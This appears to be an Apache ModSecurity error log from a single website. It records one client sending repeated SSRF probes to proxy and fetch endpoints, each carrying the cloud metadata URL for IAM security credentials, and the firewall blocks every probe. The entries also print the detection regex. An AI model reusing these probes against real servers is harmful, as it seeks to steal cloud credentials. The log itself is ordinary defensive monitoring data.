[Mon Oct 26 00:21:57.558443 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:website. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:website: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCLQAAABo"]
[Mon Oct 26 00:21:57.559013 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCLQAAABo"]
[Mon Oct 26 00:21:57.559360 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at7VZdL67pOsP-7URAtCLQAAABo"]
[Mon Oct 26 00:21:57.713237 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/proxy"] [unique_id "at7VZdL67pOsP-7URAtCLgAAABo"]
[Mon Oct 26 00:21:57.713815 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/proxy"] [unique_id "at7VZdL67pOsP-7URAtCLgAAABo"]
[Mon Oct 26 00:21:57.714110 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/proxy"] [unique_id "at7VZdL67pOsP-7URAtCLgAAABo"]
[Mon Oct 26 00:21:57.817388 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/proxy"] [unique_id "at7VZdL67pOsP-7URAtCLwAAABo"]
[Mon Oct 26 00:21:57.817971 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/proxy"] [unique_id "at7VZdL67pOsP-7URAtCLwAAABo"]
[Mon Oct 26 00:21:57.818301 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/proxy"] [unique_id "at7VZdL67pOsP-7URAtCLwAAABo"]
[Mon Oct 26 00:21:57.915996 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/api/proxy"] [unique_id "at7VZdL67pOsP-7URAtCMAAAABo"]
[Mon Oct 26 00:21:57.916746 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/proxy"] [unique_id "at7VZdL67pOsP-7URAtCMAAAABo"]
[Mon Oct 26 00:21:57.917184 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/proxy"] [unique_id "at7VZdL67pOsP-7URAtCMAAAABo"]
[Mon Oct 26 00:21:58.032368 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/api/proxy"] [unique_id "at7VZtL67pOsP-7URAtCMQAAABo"]
[Mon Oct 26 00:21:58.032888 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/proxy"] [unique_id "at7VZtL67pOsP-7URAtCMQAAABo"]
[Mon Oct 26 00:21:58.033189 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/proxy"] [unique_id "at7VZtL67pOsP-7URAtCMQAAABo"]
[Mon Oct 26 00:21:58.144502 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/api/v1/proxy"] [unique_id "at7VZtL67pOsP-7URAtCMgAAABo"]
[Mon Oct 26 00:21:58.145199 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/v1/proxy"] [unique_id "at7VZtL67pOsP-7URAtCMgAAABo"]
[Mon Oct 26 00:21:58.145565 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/v1/proxy"] [unique_id "at7VZtL67pOsP-7URAtCMgAAABo"]
[Mon Oct 26 00:21:58.182811 2026] [ssl:error] [pid 2961903:tid 2961903] (70014)End of file found: [client 35.169.240.53:46711] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:21:58.245135 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/api/v1/proxy"] [unique_id "at7VZtL67pOsP-7URAtCMwAAABo"]
[Mon Oct 26 00:21:58.245695 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/v1/proxy"] [unique_id "at7VZtL67pOsP-7URAtCMwAAABo"]
[Mon Oct 26 00:21:58.245957 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/v1/proxy"] [unique_id "at7VZtL67pOsP-7URAtCMwAAABo"]
[Mon Oct 26 00:21:58.356929 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/proxy.php"] [unique_id "at7VZtL67pOsP-7URAtCNAAAABo"]
[Mon Oct 26 00:21:58.357430 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/proxy.php"] [unique_id "at7VZtL67pOsP-7URAtCNAAAABo"]
[Mon Oct 26 00:21:58.357780 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/proxy.php"] [unique_id "at7VZtL67pOsP-7URAtCNAAAABo"]
[Mon Oct 26 00:21:58.449746 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/proxy.php"] [unique_id "at7VZtL67pOsP-7URAtCNQAAABo"]
[Mon Oct 26 00:21:58.450277 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/proxy.php"] [unique_id "at7VZtL67pOsP-7URAtCNQAAABo"]
[Mon Oct 26 00:21:58.450616 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/proxy.php"] [unique_id "at7VZtL67pOsP-7URAtCNQAAABo"]
[Mon Oct 26 00:21:58.563617 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/fetch"] [unique_id "at7VZtL67pOsP-7URAtCNgAAABo"]
[Mon Oct 26 00:21:58.564160 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/fetch"] [unique_id "at7VZtL67pOsP-7URAtCNgAAABo"]
[Mon Oct 26 00:21:58.564449 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/fetch"] [unique_id "at7VZtL67pOsP-7URAtCNgAAABo"]
[Mon Oct 26 00:21:58.668499 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/fetch"] [unique_id "at7VZtL67pOsP-7URAtCNwAAABo"]
[Mon Oct 26 00:21:58.669049 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/fetch"] [unique_id "at7VZtL67pOsP-7URAtCNwAAABo"]
[Mon Oct 26 00:21:58.669344 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/fetch"] [unique_id "at7VZtL67pOsP-7URAtCNwAAABo"]
[Mon Oct 26 00:21:58.765586 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri "/api/fetch"] [unique_id "at7VZtL67pOsP-7URAtCOAAAABo"]
[Mon Oct 26 00:21:58.766135 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/fetch"] [unique_id "at7VZtL67pOsP-7URAtCOAAAABo"]
[Mon Oct 26 00:21:58.766459 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/fetch"] [unique_id "at7VZtL67pOsP-7URAtCOAAAABo"]
[Mon Oct 26 00:21:58.867873 2026] [security2:error] [pid 2961901:tid 2961901] [client 93.123.109.101:52954] ModSecurity: Warning. Pattern match "^(?i)(?:file|ftps?|https?):\\\\/\\\\/(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "36"] [id "931100"] [rev "2"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/iam/security-credentials/HTML"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "sherwinpinturas.com"] [uri 